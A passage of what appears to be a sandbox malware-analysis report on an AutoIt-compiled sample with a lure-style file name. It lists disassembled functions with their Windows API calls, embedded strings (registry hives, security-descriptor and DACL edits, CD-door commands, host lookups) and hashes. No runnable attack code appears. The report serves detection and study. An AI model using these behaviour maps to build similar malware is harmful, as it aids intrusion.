                                                • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00E0BCC5
                                                • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00E0BCD1
                                                  • Part of subcall function 00DA313D: __wcsicmp_l.LIBCMT ref: 00DA31C6
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
                                                • String ID: .dll$.exe$.icl
                                                • API String ID: 1212759294-1154884017
                                                • Opcode ID: 2ca6dfc36345dcf65a98e5558b0d25fa8d5660ca90262b480b11990406d3c997
                                                • Instruction ID: 84d2781c50a8ab83b719c935485432979ae0d9306cad8ae2c2b8b38179126df6
                                                • Opcode Fuzzy Hash: 2ca6dfc36345dcf65a98e5558b0d25fa8d5660ca90262b480b11990406d3c997
                                                • Instruction Fuzzy Hash: 8861CE71500219BEEB24DF65CC85FBEB7A8FB08710F10421AF915E61D0DB75AAD4DBA0
                                                Function 00DEA0B5 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 156COMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadStringW.USER32(00000066,?,00000FFF,00E0FB78), ref: 00DEA0FC
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                • LoadStringW.USER32(?,?,00000FFF,?), ref: 00DEA11E
                                                • __swprintf.LIBCMT ref: 00DEA177
                                                • __swprintf.LIBCMT ref: 00DEA190
                                                • _wprintf.LIBCMT ref: 00DEA246
                                                • _wprintf.LIBCMT ref: 00DEA264
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: LoadString__swprintf_wprintf$_memmove
                                                • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR$%
                                                • API String ID: 311963372-1048875529
                                                • Opcode ID: f020a7b9da1ace08ea210042820d24e992719151cce7974ebe65d57151314d90
                                                • Instruction ID: 5663930e1d125d99ece67c3c123740669864027ac1c12e7bde7e6ca66ec2a8b7
                                                • Opcode Fuzzy Hash: f020a7b9da1ace08ea210042820d24e992719151cce7974ebe65d57151314d90
                                                • Instruction Fuzzy Hash: 48515A7290420ABACF15FBA5CD86EEEB779EF05300F240165B505720A1EB31AF59CBB1
                                                Function 00DEA5BD Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • CharLowerBuffW.USER32(?,?), ref: 00DEA636
                                                • GetDriveTypeW.KERNEL32 ref: 00DEA683
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DEA6CB
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DEA702
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DEA730
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
                                                • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                • API String ID: 2698844021-4113822522
                                                • Opcode ID: cc40e3a799de07fb1d3d6af3415d343c3a6d09f585b9a3a756d38e658b7e0704
                                                • Instruction ID: 0969be9d7dd6249341ef5cfa4b4966fb2988a4834dabc3a2304b813926c41ccf
                                                • Opcode Fuzzy Hash: cc40e3a799de07fb1d3d6af3415d343c3a6d09f585b9a3a756d38e658b7e0704
                                                • Instruction Fuzzy Hash: 835128711043059FC704FF25C89186AB7E8EF98718F18496DF89667261DB31EE0ACB62
                                                Function 00DEA45A Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00DEA47A
                                                • __swprintf.LIBCMT ref: 00DEA49C
                                                • CreateDirectoryW.KERNEL32(?,00000000), ref: 00DEA4D9
                                                • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00DEA4FE
                                                • _memset.LIBCMT ref: 00DEA51D
                                                • _wcsncpy.LIBCMT ref: 00DEA559
                                                • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00DEA58E
                                                • CloseHandle.KERNEL32(00000000), ref: 00DEA599
                                                • RemoveDirectoryW.KERNEL32(?), ref: 00DEA5A2
                                                • CloseHandle.KERNEL32(00000000), ref: 00DEA5AC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                • String ID: :$\$\??\%s
                                                • API String ID: 2733774712-3457252023
                                                • Opcode ID: 3faaf2109099100390fa4147fa9a0fc04aa84ee51c82d2411a9ed5e73d59074c
                                                • Instruction ID: c00bd1a042b7003775780be8f0de6fc122cb75c1f7897625ae886112951c791a
                                                • Opcode Fuzzy Hash: 3faaf2109099100390fa4147fa9a0fc04aa84ee51c82d2411a9ed5e73d59074c
                                                • Instruction Fuzzy Hash: EB31BF7150024AAADB20DFA5DC48FAB37BCEF89701F1441B6F908E2060E67096948B35
                                                Function 00E0C49C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00E0C4EC
                                                • GetFocus.USER32 ref: 00E0C4FC
                                                • GetDlgCtrlID.USER32(00000000), ref: 00E0C507
                                                • _memset.LIBCMT ref: 00E0C632
                                                • GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00E0C65D
                                                • GetMenuItemCount.USER32(?), ref: 00E0C67D
                                                • GetMenuItemID.USER32(?,00000000), ref: 00E0C690
                                                • GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00E0C6C4
                                                • GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00E0C70C
                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00E0C744
                                                • DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00E0C779
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
                                                • String ID: 0
                                                • API String ID: 1296962147-4108050209
                                                • Opcode ID: abef6b6355659cfa036fe5a4f2dbb71f736d6d184006b25e61ff81554612c2b6
                                                • Instruction ID: 4ad8de59b14c256143969633f82a5535269d4a72fc900104f9708ad4f48362b5
                                                • Opcode Fuzzy Hash: abef6b6355659cfa036fe5a4f2dbb71f736d6d184006b25e61ff81554612c2b6
                                                • Instruction Fuzzy Hash: 6681A0745083019FD720CF24D884A6BBBE8FF89718F24162EF995A3291D771D985CFA2
                                                Function 00DD83F4 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DD874A: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00DD8766
                                                  • Part of subcall function 00DD874A: GetLastError.KERNEL32(?,00DD822A,?,?,?), ref: 00DD8770
                                                  • Part of subcall function 00DD874A: GetProcessHeap.KERNEL32(00000008,?,?,00DD822A,?,?,?), ref: 00DD877F
                                                  • Part of subcall function 00DD874A: HeapAlloc.KERNEL32(00000000,?,00DD822A,?,?,?), ref: 00DD8786
                                                  • Part of subcall function 00DD874A: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00DD879D
                                                  • Part of subcall function 00DD87E7: GetProcessHeap.KERNEL32(00000008,00DD8240,00000000,00000000,?,00DD8240,?), ref: 00DD87F3
                                                  • Part of subcall function 00DD87E7: HeapAlloc.KERNEL32(00000000,?,00DD8240,?), ref: 00DD87FA
                                                  • Part of subcall function 00DD87E7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00DD8240,?), ref: 00DD880B
                                                • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00DD8458
                                                • _memset.LIBCMT ref: 00DD846D
                                                • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00DD848C
                                                • GetLengthSid.ADVAPI32(?), ref: 00DD849D
                                                • GetAce.ADVAPI32(?,00000000,?), ref: 00DD84DA
                                                • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00DD84F6
                                                • GetLengthSid.ADVAPI32(?), ref: 00DD8513
                                                • GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00DD8522
                                                • HeapAlloc.KERNEL32(00000000), ref: 00DD8529
                                                • GetLengthSid.ADVAPI32(?,00000008,?), ref: 00DD854A
                                                • CopySid.ADVAPI32(00000000), ref: 00DD8551
                                                • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00DD8582
                                                • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00DD85A8
                                                • SetUserObjectSecurity.USER32(?,00000004,?), ref: 00DD85BC
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
                                                • String ID:
                                                • API String ID: 3996160137-0
                                                • Opcode ID: a3cbdeb7c9be34a50c7761288d72617a275656dcec78d0318454fdbb62d1a375
                                                • Instruction ID: 1dac9508b0439a6e1872a621742f5b030146754a217dda137a2ad8a4f897a611
                                                • Opcode Fuzzy Hash: a3cbdeb7c9be34a50c7761288d72617a275656dcec78d0318454fdbb62d1a375
                                                • Instruction Fuzzy Hash: 19615A7190020AAFDF11DFA5EC45AEEBBB9FF04310F04816AF815A7291DB31AA55DF60
                                                Function 00DF762D Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDC.USER32(00000000), ref: 00DF76A2
                                                • CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00DF76AE
                                                • CreateCompatibleDC.GDI32(?), ref: 00DF76BA
                                                • SelectObject.GDI32(00000000,?), ref: 00DF76C7
                                                • StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00DF771B
                                                • GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00DF7757
                                                • GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00DF777B
                                                • SelectObject.GDI32(00000006,?), ref: 00DF7783
                                                • DeleteObject.GDI32(?), ref: 00DF778C
                                                • DeleteDC.GDI32(00000006), ref: 00DF7793
                                                • ReleaseDC.USER32(00000000,?), ref: 00DF779E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                • String ID: (
                                                • API String ID: 2598888154-3887548279
                                                • Opcode ID: c9f263774b04dd5995c1b150d0c43bc10b8bd651662ea1d8d9662a2ba3457104
                                                • Instruction ID: aa6644ed6748f9452e3ee64aea035d15f60add14037abdabba85ed0609722b82
                                                • Opcode Fuzzy Hash: c9f263774b04dd5995c1b150d0c43bc10b8bd651662ea1d8d9662a2ba3457104
                                                • Instruction Fuzzy Hash: 83515B75904209EFCB25CFA9CC85EAEBBB9EF48310F14842DFA49A7211D731A844CB60
                                                Function 00D86BEC Relevance: 19.7, APIs: 4, Strings: 7, Instructions: 478COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DA0B9B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00D86C6C,?,00008000), ref: 00DA0BB7
                                                  • Part of subcall function 00D848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D848A1,?,?,00D837C0,?), ref: 00D848CE
                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00D86D0D
                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 00D86E5A
                                                  • Part of subcall function 00D859CD: _wcscpy.LIBCMT ref: 00D85A05
                                                  • Part of subcall function 00DA387D: _iswctype.LIBCMT ref: 00DA3885
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
                                                • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                • API String ID: 537147316-1018226102
                                                • Opcode ID: f026d5cd885188ab08acd03b6e45e68b86f702620cd2fed1154835afe0a0a8f0
                                                • Instruction ID: 999d21f31171698cceceb4c8dec92c248da0856d924e08d3c3aaf04ab067cc18
                                                • Opcode Fuzzy Hash: f026d5cd885188ab08acd03b6e45e68b86f702620cd2fed1154835afe0a0a8f0
                                                • Instruction Fuzzy Hash: 8D0257351083419FC724EF24C881AAFBBE5EF99354F14492DF49A972A1DB30E949CB72
                                                Function 00D845DF Relevance: 19.7, APIs: 13, Instructions: 215windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D845F9
                                                • GetMenuItemCount.USER32(00E46890), ref: 00DBD7CD
                                                • GetMenuItemCount.USER32(00E46890), ref: 00DBD87D
                                                • GetCursorPos.USER32(?), ref: 00DBD8C1
                                                • SetForegroundWindow.USER32(00000000), ref: 00DBD8CA
                                                • TrackPopupMenuEx.USER32(00E46890,00000000,?,00000000,00000000,00000000), ref: 00DBD8DD
                                                • PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00DBD8E9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow_memset
                                                • String ID:
                                                • API String ID: 2751501086-0
                                                • Opcode ID: 78e37f720ef822855e260f31bcf4826a18b7a28bc64469edc9d99adc047bc05e
                                                • Instruction ID: 5ddb7eb7b150808156f9ed0a117f01fda4f7faa155726b47687977f94aed0214
                                                • Opcode Fuzzy Hash: 78e37f720ef822855e260f31bcf4826a18b7a28bc64469edc9d99adc047bc05e
                                                • Instruction Fuzzy Hash: 7D71D270600216BEEB209F55DC85FEABF6AFB05364F240216F516661E0DBB29860DBB4
                                                Function 00DF8BC0 Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 00DF8BEC
                                                • CoInitialize.OLE32(00000000), ref: 00DF8C19
                                                • CoUninitialize.OLE32 ref: 00DF8C23
                                                • GetRunningObjectTable.OLE32(00000000,?), ref: 00DF8D23
                                                • SetErrorMode.KERNEL32(00000001,00000029), ref: 00DF8E50
                                                • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00E12C0C), ref: 00DF8E84
                                                • CoGetObject.OLE32(?,00000000,00E12C0C,?), ref: 00DF8EA7
                                                • SetErrorMode.KERNEL32(00000000), ref: 00DF8EBA
                                                • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00DF8F3A
                                                • VariantClear.OLEAUT32(?), ref: 00DF8F4A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                • String ID: ,,
                                                • API String ID: 2395222682-1556401989
                                                • Opcode ID: b81607ee5fbf6b0971abc2f0ab53058ea1dd5b6004d6e40e11e9e896656f49d3
                                                • Instruction ID: 383c82e58ba88c6ddaef30a78cbe779304285f15df76e1d0f96fd379d23ebb1f
                                                • Opcode Fuzzy Hash: b81607ee5fbf6b0971abc2f0ab53058ea1dd5b6004d6e40e11e9e896656f49d3
                                                • Instruction Fuzzy Hash: F5C13471608309AFD700EF64C88492BB7E9FF88748F04895DF6899B251DB71ED45CB62
                                                Function 00E010A5 Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E00038,?,?), ref: 00E010BC
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                • API String ID: 3964851224-909552448
                                                • Opcode ID: e1563542afca8ebb8e1a2d19af0e13f5438fd05f9148b6ab4e4b00ad96028157
                                                • Instruction ID: 4682f8360302bcc30991968a4ab5c41cd614244be1b4c99637a1eca55f98f00e
                                                • Opcode Fuzzy Hash: e1563542afca8ebb8e1a2d19af0e13f5438fd05f9148b6ab4e4b00ad96028157
                                                • Instruction Fuzzy Hash: 5D417D7110124A8BCF14EF90DC95AEA3B24FF66304F105494FD926B692DB30AD5ACBB1
                                                Function 00DE5569 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87D2C: _memmove.LIBCMT ref: 00D87D66
                                                  • Part of subcall function 00D87A84: _memmove.LIBCMT ref: 00D87B0D
                                                • mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00DE55D2
                                                • mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00DE55E8
                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00DE55F9
                                                • mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00DE560B
                                                • mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00DE561C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: SendString$_memmove
                                                • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                • API String ID: 2279737902-1007645807
                                                • Opcode ID: 06f1f0581f1b56a362d1001c7ceb3deb8399fd1964bfba1754201f4a64772db8
                                                • Instruction ID: e62faab1f1e7e714016315752d357be23c977ad73ce35c5dfceb3456d5052f47
                                                • Opcode Fuzzy Hash: 06f1f0581f1b56a362d1001c7ceb3deb8399fd1964bfba1754201f4a64772db8
                                                • Instruction Fuzzy Hash: 3311E22056026979D720B762DC8ACFF7F7CEF91F40F480429B444A20D1DE605D45CAB1
                                                Function 00DE48F3 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
                                                • String ID: 0.0.0.0
                                                • API String ID: 208665112-3771769585
                                                • Opcode ID: 3849d580fa64c312f75251083ba40af87bf91b5bf138c383c398812d9f8f54a3
